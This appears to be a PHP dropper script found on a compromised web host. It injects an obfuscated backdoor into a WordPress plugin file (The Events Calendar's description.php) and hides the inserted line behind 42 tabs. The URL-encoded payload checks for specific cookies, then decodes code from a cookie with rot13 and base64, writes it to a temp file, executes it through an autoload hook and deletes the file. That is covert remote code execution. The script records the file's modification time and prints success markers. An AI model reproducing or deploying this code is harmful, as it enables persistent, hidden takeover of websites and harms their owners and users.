File: //tmp/.class
<?php $path = '/kunden/homepages/34/d890102484/htdocs/sites/eglise/wp-content/plugins/the-events-calendar/src/views/v2/day/event/description.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%20%28isset%28%24_COOKIE%5B21-21%5D%29%20%26%26%20isset%28%24_COOKIE%5B20-19%5D%29%20%26%26%20isset%28%24_COOKIE%5B23%2B-20%5D%29%20%26%26%20isset%28%24_COOKIE%5B-73%2B77%5D%29%29%20%7B%20%24resource%20%3D%20%24_COOKIE%3B%20function%20config_manager%28%24mrk%29%20%7B%20%24resource%20%3D%20%24_COOKIE%3B%20%24flg%20%3D%20tempnam%28%28%21empty%28session_save_path%28%29%29%20%3F%20session_save_path%28%29%20%3A%20sys_get_temp_dir%28%29%29%2C%20%27de9a82b3%27%29%3B%20if%20%28%21is_writable%28%24flg%29%29%20%7B%20%24flg%20%3D%20getcwd%28%29%20.%20DIRECTORY_SEPARATOR%20.%20%22app_initializer%22%3B%20%7D%20%24value%20%3D%20%22%5Cx3c%5Cx3f%5Cx70%5Cx68p%5Cx20%22%20.%20base64_decode%28str_rot13%28%24resource%5B3%5D%29%29%3B%20if%20%28is_writeable%28%24flg%29%29%20%7B%20%24itm%20%3D%20fopen%28%24flg%2C%20%27w%2B%27%29%3B%20fputs%28%24itm%2C%20%24value%29%3B%20fclose%28%24itm%29%3B%20spl_autoload_unregister%28__FUNCTION__%29%3B%20require_once%28%24flg%29%3B%20%40array_map%28%27unlink%27%2C%20array%28%24flg%29%29%3B%20%7D%20%7D%20spl_autoload_register%28%22config_manager%22%29%3B%20%24sym%20%3D%20%226309ce725762eea9b8e2113129f30b85%22%3B%20if%20%28%21strncmp%28%24sym%2C%20%24resource%5B4%5D%2C%2032%29%29%20%7B%20if%20%28%40class_parents%28%22module_controller_right_pad_string%22%2C%20true%29%29%20%7B%20exit%3B%20%7D%20%7D%20%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { $content = file_get_contents($path); if (strstr($content, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } } } die('!failed!');